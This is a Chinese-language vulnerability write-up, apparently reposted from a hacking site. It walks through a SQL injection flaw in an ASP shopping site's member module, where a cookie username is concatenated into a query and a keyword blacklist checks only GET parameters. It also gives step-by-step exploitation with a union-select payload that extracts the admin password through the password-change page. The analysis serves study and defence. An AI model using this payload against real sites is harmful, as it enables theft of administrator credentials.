作者:NinTy
来源:http://www.hackm.com/
公司让到网上去找一些现成的代码。以后做网站的时候 有的话好直接抄。 这一找可就吐了血了。。 我只会找注入和跨站的漏洞。哪位牛人告诉我 还有什么比较常见的漏洞? 一、 注入。 1. 发生在更改会员密码的时候。 代码:disuser2.asp
CODE: sub changepass() if strUserName="" then response.Write "<center>请先登录</center>" response.End end if %>
......中间省略 ....... <td width=50% height="25" align="right">用 户 名:</td> <td width=50% height="25" bgcolor="#FFFFFF"><font color=#FF6600> <% = strUserName %></font></td> </tr> ......中间省略 ....... <% end sub上面的代码把strUserName变量输出了.我们来看看这个strUserName 是怎么得到的! 在conn.asp里. 代码如下:
CODE: Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx Fy_Cl = 1 Fy_Zx = "index.Asp" On Error Resume Next Fy_Url=Request.ServerVariables("QUERY_STRING") Fy_a=split(Fy_Url,"&") redim Fy_Cs(ubound(Fy_a)) On Error Resume Next for Fy_x=0 to ubound(Fy_a) Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1) Next For Fy_x=0 to ubound(Fy_Cs) If Fy_Cs(Fy_x)<>"" Then If Instr(LCase(Request(Fy_Cs(Fy_x))),"’")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then Select Case Fy_Cl Case "1" Response.Write "<Script Language=JavaScript>alert(’出现错误!参数 "&Fy_Cs(Fy_x)&" 的值中包含非法字符串!\n\n 请不要在参数中出现:;,and,select,update,insert,delete,chr 等非法字符!’);window.close();</Script>" Case "2" Response.Write "<Script Language=JavaScript>location.href=’"&Fy_Zx&"’</Script>" Case "3" Response.Write "<Script Language=JavaScript>alert(‘出现错误!参数 "&Fy_Cs(Fy_x)&"的值中包含非法字符串!\n\n 请不要在参数中出现:;,and,select,update,insert,delete,chr 等非法字符!’);location.href=’"&Fy_Zx&"’;</Script>" End Select ....中间省略 ..... strUserName = "非注册用户" strTitle = "非注册用户" if Request.Cookies("Buy2Buy")("username")<>"" then set rsVip=server.CreateObject("adodb.recordset") rsVip.open "select [User].GrpID,[User].UserID,[User].Score,[User].UserEmail,[User].Deposit,[User].UserName,b2b_userjb.GrpName,b2b_userjb.Stars from [User] Inner Join b2b_userjb On [User].GrpID = b2b_userjb.GrpID where username=’"&request.Cookies("Buy2Buy")("username")&"’ ",conn,1,1 ///这里直接把COOKIE里的USERNAME拼进了SQL,漏洞产生了! ....中间省略 .....
strUserName = rsVip("UserName")
....中间省略 ..... set rsVip=nothing End If漏洞基本上和那个网软购物系统一样. 代码只对QUERT_STRING里的数据进行了关键字的检查.只对GET提交的数据进行了检查,而且检查的还不够严格!union asc() chr() 这种都没过滤的. 利用方法: 先注册一个会员。然后转到会员中心,然后打开WSE,然后再修改密码.截取发送的数据包.  把username=ninty改成
CODE: Username=a’%20union%20select%20’1’,’1’,’1’,’1’,’1’,userpassword,’1’,’1’%20from%20admin%20where%20’’=’一个union查询.因为a是一个不存在的用户,这样就只会有union后面的那个select语句的结果出现在recoreset中. strUserName = rsVip("UserName") rsVip(“UserName”)取到的正好是userpassword列的值,赋给了strUserName. 然后就被disuser2.asp输出了. 改后是这样的:
1 2 3 4 下一页 |